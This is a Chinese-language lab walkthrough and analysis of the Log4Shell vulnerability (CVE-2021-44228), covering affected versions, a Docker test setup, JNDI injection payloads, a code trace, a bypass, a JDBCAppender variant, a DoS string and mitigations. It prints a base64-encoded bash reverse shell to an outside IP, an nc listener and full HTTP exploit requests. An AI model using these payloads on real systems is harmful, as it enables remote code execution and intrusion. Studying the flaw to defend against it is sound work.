log4j远程代码执行漏洞简介
CVE编号:CVE-2021-44228
Apache Log4j
是 Apache 的一个开源项目,Apache Log4j2是一个基于Java的日志记录工具。该工具重写了Log4j框
架,并且引入了大量丰富的特性。我们可以控制日志信息输送的目的地为控制台、文件、GUI组件等,通过定义每一条
日志信息的级别,能够更加细致地控制日志的生成过程。该日志框架被大量用于业务系统开发,用来记录日志信息。
Log4j-2中存在JNDI注入
漏洞,当程序将用户输入的数据被日志记录时,即可触发此漏洞,成功利用此漏洞可以在目标
服务器上执行任意代码。鉴于此漏洞危害较大,建议客户尽快采取措施防护此漏洞
影响版本:
Apache Log4j 2.x < 2.15.0-rc2影响组件:
Spring-Boot-strater-log4j2 全版本
Apache Struts2 全版本
Apache Solr 已经在9.0和8.11.1修复
Apache Flink 1.11.0-rc1 到 1.14.0
Apache Druid 0.7.x以上
Alibaba Druid 1.0.15以及以上
ElasticSearch 5.x,6.x和7.x
Logstash 5.0.0至最新
log4j2-redis-appender 全版本
Apache Dubbo 2.7.x以及3.0.x
Hadoop Hive 2.x和3.x
hadoop hbase 3.0.0-alpha-1受影响
Mycat 1.6.x受影响
OpenCms build_11_0_0_beta到最新更多:https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core/usages?p=1
Java版本限制:
从
Java 8u121
开始,RMI(但不是 LDAP)默认不再允许远程代码库。Java 8u191
开始,LDAP不再允许远程代码库。
漏洞docker环境搭建
1 | # 拉取vulfocus镜像 |
如果ubuntu没有java8版本,可参考这篇文章ubuntu安装java8版本
漏洞利用
漏洞验证
测试版本
1 | ${jndi:ldap://${sys:java.version}xx.dnslog.cn} |
dnslog测试
payload=${jndi:ldap://local.4qtmhy.ceye.io}
1 | POST http://192.168.119.136:49153/hello HTTP/1.1 |
如果主机不通外网,可以自己起一个revsuit
1 | .\revsuite_windows_amd64.exe |
通过访问http://url:10000/revsuit/admin输入token即可登录
配置RMI rule为*
然后执行payload请求RMI默认端口1099,即可得到回显验证漏洞
- 这个方法也可以用来绕过根据dnslog域名信息的过滤
命令执行
反弹shell:
起一个jndi服务
1
2java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMDEuMzUuMTU2LjEyNi82NiAwPiYx}|{base64,-d}|{bash,-i}' -A '101.35.156.126'
# bash -i >& /dev/tcp/101.35.156.126/66 0>&1监听端口
1
nc -lnvvp xx
连接rmi服务
payload=${jndi:rmi://101.35.156.126:1099/kyf6mk}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15POST http://192.168.119.136:49153/hello HTTP/1.1
Host: 192.168.119.136:49153
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_9a28e74f75803a2f89949e736964ce83=HackerQWQ%7C1638458735%7CCHlp9dJJ7IiqjrQfI3I4CrgTcmF7Q8QxQSmEB18wT2N%7C889594cec575025077173b4963cccb61938e19d39ba9594c60b68e7ce53a6c35; wp-settings-1=editor%3Dhtml%26mfold%3Do%26libraryContent%3Dbrowse; wp-settings-time-1=1638285949
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 48
payload=${jndi:rmi://101.35.156.126:1099/kyf6mk}
同理使用marshalsec也可以
工具Fuzz
好用的工具有很多,主要用于burp主动扫描
- Log4Shell Scanner(https://github.com/silentsignal/burp-log4shell)
- Log4j2Scan
- activeScan++(直接Extender的BApp安装就好)
Log4Shell和activeScan++时间较长,Log4Shell对应的dnslog是burpcollaborator.net
,响应时间较长,activeScan++是activescan的加强版。
个人感觉最好的是Log4jScan,提供了自配置dnslog如ceye.io、RevSuit-RMI等,POC响应速度快,也可以搭建在本机上用于内网测试,可惜的是得到消息作者不再提供互联网版本。
被动扫描最近也出了:https://github.com/gh0stkey/Log4j2-RCE-Scanner
启动Command2Api,得到接口
1 | python Command2Api.py "java -jar JNDIExploit.v1.2/JNDIExploit-1.2-SNAPSHOT.jar -i 0.0.0.0" 988 |
修改配置文件Log4j2 RCE Scanner.py
1 | # LDAP_API_HOST -> LDAP Log接口的主机地址(域名/IP,请注意内、外网环境) |
burp导入之后正常访问网页,扫出了漏洞
- 需要在每次启动Command2Api的时候需要修改配置文件的token!!!
JNDIExploit项目:https://github.com/Mr-xn/JNDIExploit-1
本地环境搭建
创建项目,创建lib文件夹,导入log4j-api-2.14.1.jar
和log4j-core-2.14.1.jar
包,再Add as Library
引用
测试代码如下
1 | package org.hack.sec; |
用JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar
搭建LDAP或rmi服务器,命令
1 | java -jar .\JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C 'calc' -A '127.0.0.1' |
选用jdk1.8的payload,替换掉logger.error中的部分,运行程序即可
漏洞分析
Log4j用法
1 | import org.apache.logging.log4j.LogManager; |
在org/apache/logging/log4j/core/layout/PatternLayout.java
的toSerializable
方法中调用了format[8],即MessagePatternConverter
来解析字符串
跟进到format的replace方法中
跟进substitute方法中
通过getVariablePrefixMatcher方法获取到${
前缀的StrMatcher
,并且循环检测是否还有${
开头的字符串拿去递归substitute
处理
将字符串从${}
中拿出来之后,将变量赋值给varName
带入resolveVariable进行进一步解析
获取到resolver解析器之后将variableName传入lookup方法,可以看到这里以:
为分隔符分别获取prefix和name两部分,prefix为jndi
,name为rmi://debug.4qtmhy.ceye.io/ij4js3
,随后根据name获取StrLookup类,调用StrLookup类进行解析
在lookup方法中通过JndiManager.getDefaultManager获取JndiManager进行Lookup操作
最后的最后在this.content.lookup方法对rmi://debug.4qtmhy.ceye.io/ij4js3
进行lookup,造成jndi注入
漏洞绕过
- 前提条件:开启lookup功能
在2.15.0-rc1
存在一处绕过,payload:
1 | ${jndi:ldap://127.0.0.1:1389/ badClassName} |
在PatternLayout.toSerializable
方法发生了变化
不过这里的变化没有什么影响,其中的formatters
属性的变化导致了${}
不会被处理
1 | @Override |
上文提到这里某个formatter
包含了MessagePatternConverter
在修复后变成了MessagePatternConverter.SimplePatternConverter
类
可以发现在这个类中变成了直接拼接字符串的操作,不去判断${}
这种情况
1 | private static final class SimpleMessagePatternConverter extends MessagePatternConverter { |
但是在LookupMessagePatternConverter中会继续对${}
的处理,具体看
https://xz.aliyun.com/t/10649#toc-2
漏洞修复
代码层面
log4j-2.15.0-rc2的修复方案是直接return,有效解决了上文的绕过
1 | try{ |
临时防护措施
添加jvm启动参数
1 | -Dlog4j2.formatMsgNoLookups=true |
如
1 | java exp.jar -Dlog4j2.formatMsgNoLookups=true |
提高java版本
JDK使用11.0.1、8u191(默认关闭远程ldap查询)、7u201、6u211及以上的高版本
网络安全设备过滤关键字(临时)
限制dnslog域名,如
数据包过滤关键字
如
${jndi:}
等字样
通过 JDBCAPPENDER 数据源元素任意代码执行
重现步骤
为了使漏洞可利用,需要从外部加载Log4J的配置文件。这可以是远程FTP服务器、云存储等。攻击者可以使用DNS中毒和MITM等技术注入精心制作的配置文件并最终利用该漏洞。
1 – 通过 HTTP 获取远程配置
1 | System.setProperty("log4j2.configurationFile","http://127.0.0.1:8888/log4j2.xml"); |
2 – 使用与 CVE-2021-44228 PoC(概念验证)相同的 LDAP(轻量级目录访问协议)服务器,我们需要做的就是运行:
1 | //log4j.java |
3 – 将恶意 log4j2.xml 文件注入响应:
1 | <?xml version="1.0" encoding="UTF-8"?> |
预期成绩
初始化记录器对象时,将向远程 log4j2.xml 发出请求。在加载过程中,尝试加载 DataSource 对象将向 LDAP 服务器发出请求,然后该请求将重定向到恶意类。最后,任意类将被反序列化并执行。
ddos
1 | ${::-${::-${}}} |
log4j变形payload还原脚本
1 | import re |